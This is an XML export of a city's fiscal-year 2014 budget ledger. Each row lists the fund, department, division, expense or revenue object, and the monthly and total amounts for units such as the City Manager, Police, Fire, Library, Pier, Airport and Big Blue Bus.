<row _id="11687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4367.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4367.0</total></row>
<row _id="11688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1086.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1086.0</total></row>
<row _id="11689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1349.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1349.0</total></row>
<row _id="11690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10586.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10586.0</total></row>
<row _id="11691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2170.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2170.0</total></row>
<row _id="11692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31406.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31406.0</total></row>
<row _id="11693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578830.0</object><object_description>LLEBG GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>25368.74</june><total>25368.74</total></row>
<row _id="11694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36452.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36452.0</total></row>
<row _id="11695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="11696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1800.0</total></row>
<row _id="11697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="11698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400773.0</object><object_description>JONATHAN CLUB-IMPROVEMENTS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-75000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-75000.0</total></row>
<row _id="11699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2564.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2564.0</total></row>
<row _id="11700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-55550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-55550.0</total></row>
<row _id="11701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401110.0</object><object_description>TRAFFIC ACCIDENT HAZ MAT CLEAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="11702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404320.0</object><object_description>PARAMEDIC SKILLED NURSING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3000.0</total></row>
<row _id="11703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408140.0</object><object_description>ABOVE GROUND TANK PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-8364.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8364.0</total></row>
<row _id="11704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>578835.0</object><object_description>JAG 2010</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>660.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>660.0</total></row>
<row _id="11706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27904.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27904.0</total></row>
<row _id="11707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>840.0</total></row>
<row _id="11708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2859.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>42</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2901.0</total></row>
<row _id="11709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>401700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>401700.0</total></row>
<row _id="11710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4551.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4551.0</total></row>
<row _id="11711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>47034.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>692</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47726.0</total></row>
<row _id="11712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>535.0</total></row>
<row _id="11713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533260.0</object><object_description>NON-AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90768.0</total></row>
<row _id="11714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>146</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3246.0</total></row>
<row _id="11715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>199930.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>199930.0</total></row>
<row _id="11716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="11717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>403632.0</object><object_description>BULLETPROOF VEST GRANT - 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-23372</march><april>0</april><may>0</may><june>0.0</june><total>-23372.0</total></row>
<row _id="11718"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>347774.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>5727</december><january>-62.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>353439.0</total></row>
<row _id="11719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5263.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>77</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5340.0</total></row>
<row _id="11720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1550.0</total></row>
<row _id="11721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="11722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2095.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>28</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2123.0</total></row>
<row _id="11723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>407290.0</object><object_description>FUEL SURCHARGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-67958.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67958.0</total></row>
<row _id="11724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>476938.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>476938.0</total></row>
<row _id="11725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4754.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4754.0</total></row>
<row _id="11726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10428.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10428.0</total></row>
<row _id="11727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>97</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4511.0</total></row>
<row _id="11728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>148717.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>148717.0</total></row>
<row _id="11729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>405330.0</object><object_description>HOUSING PROPERTY RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="11730"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2290.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-458</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2748.0</total></row>
<row _id="11731"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16927.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16927.0</total></row>
<row _id="11732"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3768.0</total></row>
<row _id="11733"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4467.0</total></row>
<row _id="11734"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1977.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1977.0</total></row>
